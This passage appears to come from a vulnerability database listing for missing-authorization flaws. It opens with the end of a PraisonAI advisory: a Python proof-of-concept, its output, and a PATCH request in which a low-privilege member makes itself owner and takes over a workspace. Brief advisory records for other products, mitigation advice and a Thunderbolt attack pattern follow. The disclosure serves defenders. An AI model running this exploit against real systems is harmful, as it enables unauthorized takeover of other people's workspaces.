add_owner_status={added_owner.status_code} role={added_owner.json()[\u0027role\u0027]}\")\n        print(f\"[poc] remove_original_owner_status={removed_original_owner.status_code}\")\n        print(f\"[poc] remaining_roles={remaining_roles}\")\n\n        if promoted.status_code != 200 or promoted.json()[\"role\"] != \"owner\":\n            raise SystemExit(\"[poc] MISS: low-privilege member did not become owner\")\n\n        if added_owner.status_code != 201 or added_owner.json()[\"role\"] != \"owner\":\n            raise SystemExit(\"[poc] MISS: promoted attacker could not add a new owner\")\n\n        if removed_original_owner.status_code != 204:\n            raise SystemExit(\"[poc] MISS: promoted attacker could not remove the original owner\")\n\n        if remaining_roles.count(\"owner\") \u003c 2:\n            raise SystemExit(\"[poc] MISS: expected attacker-controlled owners after takeover\")\n\n        print(\"[poc] HIT: low-privilege member became owner and took over workspace membership\")\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\n#### Observed output\n\n```text\n[poc] owner_status=201\n[poc] member_status=201\n[poc] extra_status=201\n[poc] workspace_status=201\n[poc] add_status=201 role=member\n[poc] promote_status=200 role=owner\n[poc] add_owner_status=201 role=owner\n[poc] remove_original_owner_status=204\n[poc] remaining_roles=[\u0027owner\u0027, \u0027owner\u0027]\n[poc] HIT: low-privilege member became owner and took over workspace membership\n```\n\n#### Expected secure behavior\n\nThe following request should be rejected when made by a plain `member`:\n\n```http\nPATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}\nAuthorization: Bearer \u003cmember_token\u003e\nContent-Type: application/json\n\n{\n  \"role\": \"owner\"\n}\n```\n\nExpected response:\n\n```text\n403 Forbidden\n```\n\n#### Actual vulnerable behavior\n\nThe request succeeds:\n\n```text\nHTTP 200\nrole = owner\n```\n\nThe same account can then add attacker-controlled owners and remove the original owner.\n\n### Impact\n\nA low-privilege workspace member can fully take over a workspace.\n\nImpact includes:\n\n* self-promoting from `member` to `owner` or `admin`;\n* granting `owner` or `admin` to attacker-controlled accounts;\n* changing other members\u0027 roles;\n* removing legitimate owners or members;\n* modifying workspace metadata and settings;\n* deleting the workspace;\n* taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.\n\nThe attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.",
  "id": "GHSA-h37g-4h4p-9x97",
  "modified": "2026-05-29T22:42:07Z",
  "published": "2026-05-29T22:42:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-h37g-4h4p-9x97"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership"
}

GHSA-H389-6QWX-9W99

Vulnerability from github – Published: 2023-10-06 12:30 – Updated: 2023-10-06 12:30
VLAI
Details

Sensitive information disclosure and manipulation due to missing authorization. The following products are affected: Acronis Agent (Linux, macOS, Windows) before build 35895.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-45244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-06T10:15:18Z",
    "severity": "HIGH"
  },
  "details": "Sensitive information disclosure and manipulation due to missing authorization. The following products are affected: Acronis Agent (Linux, macOS, Windows) before build 35895.",
  "id": "GHSA-h389-6qwx-9w99",
  "modified": "2023-10-06T12:30:19Z",
  "published": "2023-10-06T12:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45244"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-5907"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H38Q-9WPM-3743

Vulnerability from github – Published: 2025-11-04 15:31 – Updated: 2025-11-05 17:48
VLAI
Details

A lack of authorisation vulnerability has been detected in CanalDenuncia.app. This vulnerability allows an attacker to access other users' information by sending a POST through the parameters 'id_denuncia' and 'id_user' in '/backend/api/buscarTestigoByIdDenunciaUsuario.php'.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-41338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-04T14:15:35Z",
    "severity": "HIGH"
  },
  "details": "A lack of authorisation vulnerability has been detected in CanalDenuncia.app. This vulnerability allows an attacker to access other users\u0027 information by sending a POST through the\u00a0parameters \u0027id_denuncia\u0027 and \u0027id_user\u0027 in \u0027/backend/api/buscarTestigoByIdDenunciaUsuario.php\u0027.",
  "id": "GHSA-h38q-9wpm-3743",
  "modified": "2025-11-05T17:48:27Z",
  "published": "2025-11-04T15:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41338"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-canaldenunciaapp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H398-FP2W-9MPG

Vulnerability from github – Published: 2026-07-02 12:30 – Updated: 2026-07-02 12:30
VLAI
Details

The JoomSport – for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.7.8. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to create arbitrary season groups or modify existing group names, participants, and round-type options. Exploitation requires obtaining the joomsportajaxnonce, which is exposed on frontend pages that render a JoomSport shortcode.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-12134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T10:16:27Z",
    "severity": "MODERATE"
  },
  "details": "The JoomSport \u2013 for Sports: Team \u0026 League, Football, Hockey \u0026 more plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.7.8. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to create arbitrary season groups or modify existing group names, participants, and round-type options. Exploitation requires obtaining the joomsportajaxnonce, which is exposed on frontend pages that render a JoomSport shortcode.",
  "id": "GHSA-h398-fp2w-9mpg",
  "modified": "2026-07-02T12:30:58Z",
  "published": "2026-07-02T12:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12134"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.8/includes/joomsport-shortcodes.php#L473"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.8/includes/posts/joomsport-post-season.php#L22"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.8/includes/posts/joomsport-post-season.php#L230"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/trunk/includes/joomsport-shortcodes.php#L473"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/trunk/includes/posts/joomsport-post-season.php#L22"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/trunk/includes/posts/joomsport-post-season.php#L230"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3581673%40joomsport-sports-league-results-management\u0026new=3581673%40joomsport-sports-league-results-management\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a00997d4-f242-4d49-8542-0738efa66222?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H39G-8HJ5-3R27

Vulnerability from github – Published: 2024-06-19 12:31 – Updated: 2024-06-19 12:31
VLAI
Details

Missing Authorization vulnerability in Automattic Jetpack.This issue affects Jetpack: from n/a before 12.7.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-47788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-19T11:15:50Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Automattic Jetpack.This issue affects Jetpack: from n/a before 12.7.",
  "id": "GHSA-h39g-8hj5-3r27",
  "modified": "2024-06-19T12:31:21Z",
  "published": "2024-06-19T12:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47788"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/jetpack/wordpress-jetpack-plugin-12-7-contributor-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H3CV-3FJG-8H4X

Vulnerability from github – Published: 2023-07-12 06:30 – Updated: 2024-04-04 06:01
VLAI
Details

The Gallery Metabox for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the gallery_remove function in versions up to, and including, 1.5. This makes it possible for subscriber-level attackers to modify galleries attached to posts and pages with this plugin.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-2561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-12T05:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The Gallery Metabox for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the gallery_remove function in versions up to, and including, 1.5. This makes it possible for subscriber-level attackers to modify galleries attached to posts and pages with this plugin.",
  "id": "GHSA-h3cv-3fjg-8h4x",
  "modified": "2024-04-04T06:01:18Z",
  "published": "2023-07-12T06:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2561"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/gallery-metabox/trunk/gallery-metabox.php?rev=611664#L233"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/faad339f-96d6-4937-a1f3-9d2d19bc6395?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H3F7-4PQ5-5JQM

Vulnerability from github – Published: 2024-03-20 15:32 – Updated: 2025-05-07 03:30
VLAI
Details

Missing Authorization vulnerability in Olive Themes Olive One Click Demo Import allows importing settings and data, ultimately leading to XSS.This issue affects Olive One Click Demo Import: from n/a through 1.1.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-2702"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-20T10:15:11Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in Olive Themes Olive One Click Demo Import allows importing settings and data, ultimately leading to XSS.This issue affects Olive One Click Demo Import: from n/a through 1.1.1.",
  "id": "GHSA-h3f7-4pq5-5jqm",
  "modified": "2025-05-07T03:30:27Z",
  "published": "2024-03-20T15:32:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2702"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/olive-one-click-demo-import/wordpress-olive-one-click-demo-import-plugin-1-1-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.